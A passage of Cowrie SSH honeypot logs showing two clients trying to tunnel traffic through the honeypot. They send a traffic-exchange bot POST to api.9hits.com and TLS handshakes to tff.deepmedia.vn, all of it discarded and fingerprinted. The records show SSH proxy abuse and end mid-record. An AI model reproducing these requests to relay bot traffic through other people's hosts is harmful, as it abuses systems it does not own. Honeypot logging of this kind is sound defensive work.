{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.122622Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RkV2b1Jja2w%2FdDRMUUolcg%3D%3D18Fiql8yzP7epfY3dFWXDr3vpQ0uvPaEWx316Y0u7pIl4Nim73xXSO5d5FWMeu7MdIUwgQsuP8zAifzt5CBR2RgIz8ggrhM%2BURdJzfH5IvAbflq6xX82O44MQ7zoCjDSLLsWlgq%2BoVl%2B3M%2B1zhhjYxUuIFhoVIAvwta3ftLjih5119v2DN%2F7EJx4yC%2BEMwapj9cgfPX4r6D0T4MgHISaqwamLE1spO%2FH8iPjdreQejch15vLAx3%2BWI7Ee5y7%2Fzzpi%2BlPP%2FhN2YWCl3apffeA5RtSRuz6e4L1NEBL%2FGLdA93LCNLywfctp%2BhFk%2Bd5v89QX6zin%2BuHXGhoGfsHAhRLaCYHOw5nBzI7CE2%2Bkmk04dF85lXSVVu55aYvqHKWnnI5DiaSkupuMEQKcu19TxKx91KQRdy2nrhXSAbcQs3jcPrejk0Ci7%2BDOjbiQ4Lvgy42I7rWCVSaI4UMBzpJPTWbqiK44da3qQeyM6KnNE94mGbSYzu4GzMZH%2FSPZdeO7gm7tEFuL%2FNabu8wNM1p1Ay1xTAggWYPA1YQn3aAIP0miz7FrTFnYabQLQ8jHlF%2BqFqAYZmL324ye5hBgs5MD1ZiEUmWX2%2BU5J%2FYyF42H5zMijNEbhbRMmqf%2BfM3ZdLZdU4Ex1u8k2Y1PH43MeTVYWMFETOT3LAV2bAI8zsbaHRhEVJwGzRgiZq2iZLQVIPoJlTq8h4tpnDn8zRJbv4T4wLzqCNr3wg%2BRgua6X888344ek%2FxSu9WKZf4vECemPZ%2B2icP4bJJlPfktzNa2n44A9I3xYWAxOgGWnSZlD7KIbeTlO5HFoNAvQIby5HWA4dghNBLm6DhCFhzggcZu%2BkG0SZpBMQSLMjt%2FCubqm2KksOo%2FtVE9rRibTlDyntV5%2FyozLQQC9h%2Fb15aDnlpX0Bzovd049xEYIj9UHaLk6XyT4%2FG4MrzrS1wBhmrvSUrgfmzd%2B%2B4B3Bx%2FiFLLmATHrrPu2790Leuvg3xDfv3%2FRkspAWo2Mr8nYe%2BjPQostKzjT%2B%2FoS%2B9fpGXBU9%2FaxyNRJ8HaxnhWJjt3B6atlisi1bSDi2OSYY%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RkV2b1Jja2w%2FdDRMUUolcg%3D%3D18Fiql8yzP7epfY3dFWXDr3vpQ0uvPaEWx316Y0u7pIl4Nim73xXSO5d5FWMeu7MdIUwgQsuP8zAifzt5CBR2RgIz8ggrhM%2BURdJzfH5IvAbflq6xX82O44MQ7zoCjDSLLsWlgq%2BoVl%2B3M%2B1zhhjYxUuIFhoVIAvwta3ftLjih5119v2DN%2F7EJx4yC%2BEMwapj9cgfPX4r6D0T4MgHISaqwamLE1spO%2FH8iPjdreQejch15vLAx3%2BWI7Ee5y7%2Fzzpi%2BlPP%2FhN2YWCl3apffeA5RtSRuz6e4L1NEBL%2FGLdA93LCNLywfctp%2BhFk%2Bd5v89QX6zin%2BuHXGhoGfsHAhRLaCYHOw5nBzI7CE2%2Bkmk04dF85lXSVVu55aYvqHKWnnI5DiaSkupuMEQKcu19TxKx91KQRdy2nrhXSAbcQs3jcPrejk0Ci7%2BDOjbiQ4Lvgy42I7rWCVSaI4UMBzpJPTWbqiK44da3qQeyM6KnNE94mGbSYzu4GzMZH%2FSPZdeO7gm7tEFuL%2FNabu8wNM1p1Ay1xTAggWYPA1YQn3aAIP0miz7FrTFnYabQLQ8jHlF%2BqFqAYZmL324ye5hBgs5MD1ZiEUmWX2%2BU5J%2FYyF42H5zMijNEbhbRMmqf%2BfM3ZdLZdU4Ex1u8k2Y1PH43MeTVYWMFETOT3LAV2bAI8zsbaHRhEVJwGzRgiZq2iZLQVIPoJlTq8h4tpnDn8zRJbv4T4wLzqCNr3wg%2BRgua6X888344ek%2FxSu9WKZf4vECemPZ%2B2icP4bJJlPfktzNa2n44A9I3xYWAxOgGWnSZlD7KIbeTlO5HFoNAvQIby5HWA4dghNBLm6DhCFhzggcZu%2BkG0SZpBMQSLMjt%2FCubqm2KksOo%2FtVE9rRibTlDyntV5%2FyozLQQC9h%2Fb15aDnlpX0Bzovd049xEYIj9UHaLk6XyT4%2FG4MrzrS1wBhmrvSUrgfmzd%2B%2B4B3Bx%2FiFLLmATHrrPu2790Leuvg3xDfv3%2FRkspAWo2Mr8nYe%2BjPQostKzjT%2B%2FoS%2B9fpGXBU9%2FaxyNRJ8HaxnhWJjt3B6atlisi1bSDi2OSYY%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.125622Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.128945Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb1\\xaa|\\xa0\\xf1\\x97\\x0eK\\xa1^\\xd9\\x064Q6\\xa2\\xab\\xa5\\xb8\\x8a\\x89\\xda+o\\x9eew\\xc7\\xa8\\xff$\\xa4 \\x1f\\xbd\\x89I\\xd2\\xfb\\xd8\\xb8\\x90\\x8b\\xcc\\xd0*{B\"\\x05\\xf5\\xc5\\x83l\\x18}P\\xe5n]|\\x06\\xbe\\x8b\\x8c\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xba\\x89\\x07\\xc8\\xb7Z\\xae\\x94<N@\\x84s\\xf7\\x10U\\xb9\\x0e\\x14\\x85\\xa6\\xaa\\x11\\xc9\\xeeH\\x1dFp7X9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb1\\xaa|\\xa0\\xf1\\x97\\x0eK\\xa1^\\xd9\\x064Q6\\xa2\\xab\\xa5\\xb8\\x8a\\x89\\xda+o\\x9eew\\xc7\\xa8\\xff$\\xa4 \\x1f\\xbd\\x89I\\xd2\\xfb\\xd8\\xb8\\x90\\x8b\\xcc\\xd0*{B\"\\x05\\xf5\\xc5\\x83l\\x18}P\\xe5n]|\\x06\\xbe\\x8b\\x8c\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xba\\x89\\x07\\xc8\\xb7Z\\xae\\x94<N@\\x84s\\xf7\\x10U\\xb9\\x0e\\x14\\x85\\xa6\\xaa\\x11\\xc9\\xeeH\\x1dFp7X9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.131087Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.363714Z","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.406524Z","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.623960Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99\\xad\\xa9\\xf8\\xe6u;I\\x94y\\x10\\x93\\xf0\\x98s\\x1f<\\xf883\\x9bt\\x94\\xf9\\xa02P\\x08\\xc2\\x94\\x08A oy\\xebR`\\xfe\\xa4;\\xf0\\xf4\\xcf\\xf8\\xe3x\\x98\\x90\\x13\\x83\\r\\x93:\\xe0\\xbe\\xc5^h?\\xc3\\xb9/n\\xa8\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x94\\xc0\\xb69\\xf0\\xad/P\\x8d\\x844\\tV\\xec\\xc4\\xc9M_{E\"\\xa2-\\x1e\\xfdB\\xa1\\xfb\\xc0t:r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99\\xad\\xa9\\xf8\\xe6u;I\\x94y\\x10\\x93\\xf0\\x98s\\x1f<\\xf883\\x9bt\\x94\\xf9\\xa02P\\x08\\xc2\\x94\\x08A oy\\xebR`\\xfe\\xa4;\\xf0\\xf4\\xcf\\xf8\\xe3x\\x98\\x90\\x13\\x83\\r\\x93:\\xe0\\xbe\\xc5^h?\\xc3\\xb9/n\\xa8\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x94\\xc0\\xb69\\xf0\\xad/P\\x8d\\x844\\tV\\xec\\xc4\\xc9M_{E\"\\xa2-\\x1e\\xfdB\\xa1\\xfb\\xc0t:r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.628344Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.673729Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;9\\xcc:\\xd3\\xc08\\xd2\\x19\\x90D\\xa1Le\\xab\\x97=\\xe4\\xa7\\xf2l\\xa0\\x1dq\\xb6\\x1eX|X\\xe0\\xf5Q \\x96 \\x10\\xad1O\\xd23<vD<\\xe5_\\xad\\x0e\\xb4M<\\x05H\\x10k\\x90\\x1c\\x82\\xf0V\\nB\\x85\\xf6\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd8\\x16\\xc5`:B9\\x1d\\xf60;\\xb5\\xeen\\\\J\\xce\\xd5T\\xbc\\xbb\\xd0d,\\x8d\\xacl\\xdcy\\x114l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;9\\xcc:\\xd3\\xc08\\xd2\\x19\\x90D\\xa1Le\\xab\\x97=\\xe4\\xa7\\xf2l\\xa0\\x1dq\\xb6\\x1eX|X\\xe0\\xf5Q \\x96 \\x10\\xad1O\\xd23<vD<\\xe5_\\xad\\x0e\\xb4M<\\x05H\\x10k\\x90\\x1c\\x82\\xf0V\\nB\\x85\\xf6\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d